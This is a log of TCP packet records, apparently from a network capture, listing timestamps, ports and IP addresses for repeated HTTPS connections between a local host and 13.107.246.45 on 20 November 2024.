Nov 20, 2024 03:21:44.068432093 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.068449974 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.120213032 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.120367050 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.120426893 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.120547056 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.120548010 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.120567083 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.120575905 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.123478889 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.123588085 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.123666048 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.123815060 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.123835087 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.140254021 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.140311003 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.140355110 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.140469074 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.140489101 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.140513897 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.140518904 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.142790079 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.142816067 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.142874956 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.143023968 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.143034935 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.146008015 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.146374941 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.146399021 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.146754026 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.146759987 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.172456026 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.172533989 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.172586918 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.172700882 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.172729015 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.172746897 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.172754049 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.175080061 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.175113916 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.175271034 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.175333023 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.175339937 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.240549088 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.241133928 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.241214037 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.241560936 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.241576910 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.247488022 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.247560978 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.247627974 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.247731924 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.247731924 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.247781992 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.247812033 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.250261068 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.250309944 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.250385046 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.250519991 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.250530958 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.342336893 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.342490911 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.342551947 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.346180916 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.346227884 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.346256018 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.346271038 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.352730036 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.352782011 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.352866888 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.353195906 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.353213072 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.862052917 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.862610102 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.862632036 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.863023043 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.863027096 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.864340067 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.864589930 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.864624977 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.864859104 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.864866018 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.867676020 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.868020058 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.868035078 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.868335009 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.868340015 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.894881964 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.895342112 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.895358086 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.895737886 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.895741940 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.961488962 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.961550951 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.961597919 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.961725950 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.961745024 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.961754084 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.961760998 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964075089 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964124918 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964190006 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964340925 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964359999 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964386940 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964541912 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964632988 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964713097 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964713097 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.964756966 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.964785099 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.966996908 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.967031956 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.967125893 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.967329025 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.967341900 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.974109888 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.974267006 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.974328995 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.974350929 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.974350929 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.974361897 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.974370003 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.975919962 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.975933075 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.976001024 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.976095915 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.976104975 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.991607904 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.991964102 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.991975069 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.992311001 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.992315054 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.995729923 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.995874882 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.995934010 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.995948076 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.995958090 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.995965004 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.995969057 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.997750998 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.997782946 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.998033047 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.998033047 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.998059988 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.097002029 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.097080946 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.097132921 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.097289085 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.097289085 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.097305059 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.097307920 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.100790024 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.100884914 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.100976944 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.101114035 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.101135015 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.606273890 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.606760025 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.606775045 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.607325077 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.607331038 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.622498989 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.622582912 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.622939110 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.622967958 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.622981071 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.622987986 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.623336077 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.623339891 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.623377085 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.623379946 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.639977932 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.640527964 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.640544891 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.640959978 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.640968084 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.711380005 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.711467981 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.711657047 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.711657047 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.713398933 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.713427067 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.714191914 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.714243889 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.714319944 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.714457035 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.714471102 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.723427057 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.723511934 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.723563910 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.723633051 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.723649025 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.723660946 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.723668098 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.725553989 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.725601912 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.725675106 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.725774050 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.725786924 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.726181984 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.726241112 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.726279020 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.726484060 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.726488113 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.726496935 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.726500034 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.728408098 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.728419065 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.728470087 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.728593111 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.728602886 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.744122982 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.744196892 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.744251966 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.748903990 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.749424934 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.749442101 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.749527931 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.749536037 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.749834061 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.749860048 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.750355959 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.750363111 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.752159119 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.752202988 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.752274990 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.752396107 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.752404928 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.855050087 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.855149984 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.855252028 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.855376005 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.855396032 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.855410099 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.855418921 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.858330011 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.858388901 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:45.858469009 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.858618021 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:45.858634949 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.462462902 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.462964058 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.463000059 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.463361979 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.463366985 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.463641882 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.463953018 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.463999033 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.464298010 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.464306116 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.467643023 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.467921972 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.467936039 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.468270063 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.468274117 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.468610048 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.468872070 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.468903065 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.469194889 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.469199896 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.506918907 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.507395983 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.507479906 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.507755041 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.507775068 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.563837051 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.563987970 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564085960 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564235926 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564264059 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564277887 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564282894 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564614058 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564810991 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564881086 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564918995 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564938068 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.564949989 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.564956903 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.567143917 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567192078 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.567272902 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567365885 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567450047 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567466974 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.567466974 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.567554951 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567637920 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.567679882 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.571101904 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.571201086 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.571271896 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.571295023 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.571295023 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.571304083 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.571319103 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.573477030 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.573512077 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.573590040 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.573712111 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.573725939 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.574373960 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.574443102 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.574487925 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.574590921 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.574604988 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.574620962 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.574626923 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.576843023 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.576870918 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.576945066 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.577091932 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.577105999 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.611398935 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.611572981 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.611677885 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.611677885 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.611768007 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.611809015 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.613909006 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.613929033 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:46.614000082 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.614137888 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:46.614147902 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.223848104 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.224481106 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.224500895 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.224821091 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.224824905 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.237255096 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.237608910 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.237626076 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.237967014 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.237972975 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.263010025 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.263555050 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.263575077 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.263900995 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.263906002 CET	443	49893	13.107.246.45	192.168.2.8
